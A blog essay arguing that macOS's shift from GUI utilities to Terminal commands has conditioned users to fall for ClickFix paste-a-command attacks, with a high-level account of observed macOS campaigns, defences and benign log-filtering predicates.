Each week brings news of more ClickFix atttacks. Last week’s, dubbed Mach-O Man by Mauro Eldritch and detailed on ANY.RUN’s blog, tricks targets into “fixing” a fake connection problem by pasting a malicious command into Terminal. I have previously argued that these attacks are preventable by changing user behaviour. Here I consider the role of macOS and its increasing reliance on the command line.

This was inspired by Apple’s recent warning to administrators of forthcoming changes in network security, where Apple instructs them to copy and paste a near-unintelligible command in what mimics a ClickFix attack. Although a brief explanation of that command is given, this is bad practice. The reason it’s deemed necessary is that the utility provided in macOS for the last ten years to access the log, Console, simply isn’t up to the task.

I took the lengthy predicate recommended in Apple’s article
"p=appstoreagent|appstored|managedappdistributionagent|managedappdistributiond|ManagedClient|ManagedClientAgent|
mdmclient|mdmd|mdmuserd|MuseBuddyApp|NanoSettings|Preferences|profiled|profiles|RemoteManagementAgent|
remotemanagementd|Setup|'Setup Assistant'|'System Settings'|teslad|TVSettings|TVSetup|XPCAcmeService AND s=com.apple.network AND m:'ATS Violation'|'ATS FCPv2.1 violation'"
and broke it down into the far more understandable
(subsystem = 'com.apple.network') AND ((message CONTAINS[cd] 'ATS Violation') OR (message CONTAINS[cd] 'ATS FCPv2.1 violation'))
and pasted that to use as a one-off predicate in LogUI.

Over a ten-minute period of network access, that returned a workably small number of log entries for further checking.

A little careful thought suggested a more logical approach, effectively using the predicate
(message CONTAINS[cd] 'violation')
using LogUI’s popup predicate menu, then filtering those few entries using the word network in their subsystem field, with exactly the same results.

It really isn’t that hard to come up with a log browser that can handle such tasks far better than the command line ever could. But from the start it has been clear that Console isn’t intended to assist browsing the Unified log, only to discourage it.

Few of those now working for Apple can remember that for the first 17 years of Macs, until the arrival of Mac OS X, there was no command line at all. We got by with utilities crafted by Apple like ResEdit.

Here ResEdit is displaying the resources of QuarkXPress version 4.11 from around 2000. The app icons shown are stored in a resource of type BNDL, a ‘bundle’, but not in the later sense of the term.

I feel sure that more engineers will recall the GUI provided in Mac OS X Server, in its Server Admin app that wrapped many of its tricky tasks in a familiar interface, making administration a true joy. One weak area was DNS management, for which there were third-party alternatives including that from Men&Mice, now part of BlueCat.

In later, more consumer-oriented versions, Server.app was more concise but remained rich in function. Its sidebar let you manage users and groups, monitor your server, control its services, manage hardware, and control system, network and storage settings. Below that the Next Steps button provided access to help topics and useful suggestions.

In the years since, Apple has steadily stripped out many of those utilities that provided ordinary users with an alternative to the command line.

Network Utility contained a friendly front-end to a suite of valuable tools to help diagnose network problems. It was deprecated in Big Sur, then removed, with Apple explicitly advising the use of command tools instead.

Other utilities have followed a similar pattern. Initially, some of their more advanced features are removed, then the app is hidden away in /System/Library/CoreServices/Applications to discourage its use, in preparation for telemetry to justify its removal on the grounds of lack of use. Once it has gone all we have left is a clumsy conglomeration of options in a *util command tool, and users forced to copy and paste in training for a ClickFix attack.

This is good news for indie developers like Michael Tsai at C-Command, and Bryan Christianson, who can then build replacement apps such as DropDMG and WhatRoute, and some of my own utilities like Spundle. But they can only reach a limited audience, and the majority are left to rehearse for ClickFix.

At the same time that Apple has been normalising the use of the command line, it has invested heavily in app security, from Gatekeeper and quarantine, to XProtect and notarisation. Predictably, ClickFix attacks sidestep past those and exploit the behaviour that its victims have been conditioned to because macOS doesn’t provide the apps needed for its administration and maintenance.

ClickFix is thus largely self-inflicted by a modern macOS that places greater priority on apps that generate income, and design fads like Liquid Glass.

One of the highlights of my work as a medical practitioner was introducing adverse incident reporting and root cause analysis. Even in the most communicative and affable workplace, it’s often hard to admit that something has gone wrong and discover why. The moment outsiders become involved, it all too easily turns into a bout of blamestorming, driving truth underground.

Once you have seen how root cause analysis can pay off in one situation, you want to apply it elsewhere. So please bear with me as I dig a little deeper into what have become slightly inappropriately known as ClickFix attacks, and have been all the rage for the last few months.

ClickFix attacks in macOS

ClickFix attacks first emerged in Windows in early 2024, but hadn’t been reported in macOS until early December last year, when Stuart Ashenbrenner and Jonathan Semon of Huntress published a detailed account. In macOS they typically consist of three steps:

1. The victim is lured to a site that promises to fix a real or fictitious problem for them.
2. The hostile site coaches them to copy an opaque script and paste it into Terminal or another app that can run that script.
3. The script then downloads its malicious payload, normally a stealer, so bypassing macOS security, and proceeds to steal sensitive information from the user’s account on that Mac.

Those are illustrated by one of the early examples I stepped through in a locked-down virtual machine.

At the top of Google’s sponsored results is a solution from ChatGPT, giving its trusted web address. When I clicked on that, it took me to ChatGPT, where there’s a nice clear set of instructions, described impeccably just as you’d expect from AI. This coaches me how to open Terminal using Spotlight, very professional.

It then provides me with a command I can copy with a single click, and paste straight into Terminal. It even explains what that professes to do.

Once I have done that, scripts like .agent are installed in my Home folder, and my (virtual) Mac is now well and truly owned by its attacker.

At the end of January a variation emerged in sponsored search taking the unsuspecting to a malicious site disguised as a Medium.com blog post.

That started copying the contents of my Documents folder to “FileGrabber”, and wrote several hidden files to the top level of my Home folder, again in the safety of a locked-down VM.

Earlier this month, Jamf Threat Labs reported a similar attack abusing the applescript URL scheme to launch Script Editor and deliver another variant of the popular AMOS/SOMA stealer.

Countermeasures

In addition to Apple’s response in its weekly updates to XProtect’s detection rules, Patrick Wardle at Objective-See was quick to add a defence to his BlockBlock utility in mid-February, and Apple followed suit with an elaborate scheme added to macOS 26.4, released on 24 March. Although important, devising those defences is continuing the game of cat and mouse: no sooner are they in place than the attackers switch to a different ploy, as they have recently done by abusing a URL scheme and Script Editor. macOS offers a seemingly endless supply of mechanisms available for such abuse.

What has largely escaped attention is how bizarre user behaviour has become. Here’s a victim using a thoroughly GUI operating system copying what to them can only be incomprehensible gibberish and pasting it into Terminal, or running it in Script Editor. Why on earth would a user fall prey to that?

Prevention

Over the last few years many have grown accustomed to such strange habits as advice has drifted away from using GUI apps to relying on the command line. One factor has been the long decline in professionally written articles. For many years, my editor at MacFormat wouldn’t let me use Terminal commands in my Q&A pages unless there was no alternative. Almost all the dozens of books around me about Mac OS X rely primarily on what can be accomplished in the GUI, and are liberally illustrated with screenshots.

Over this period, tackling problems on Macs has moved from understanding how to use those GUI tools to blindly entering magic spells in Terminal, and now Script Editor. This trend has been promoted by search engines and most recently AI assistance, both of which are primarily text-based. Ask Google a Mac question, and the chances are you’ll be presented with commands to paste in, rather than a well-written account of how to solve it in the GUI.

Apple and third parties have invested in engineering solutions to problems that are fundamentally human and behavioural. Although it’s comforting to receive weekly updates to XProtect, and ingenious methods to detect potentially dangerous actions, no one has done anything about changing user behaviour. Apple seems reluctant to engage ordinary users beyond nudging them to keep macOS up to date, and no one is trying to save victims from their high risk behaviour.

This is also a common problem in healthcare, where we invest most of our resources in treatment, instead of preventing injury and disease. Although the clickfixers are unlikely to run out of victims, at least their crime could become less profitable.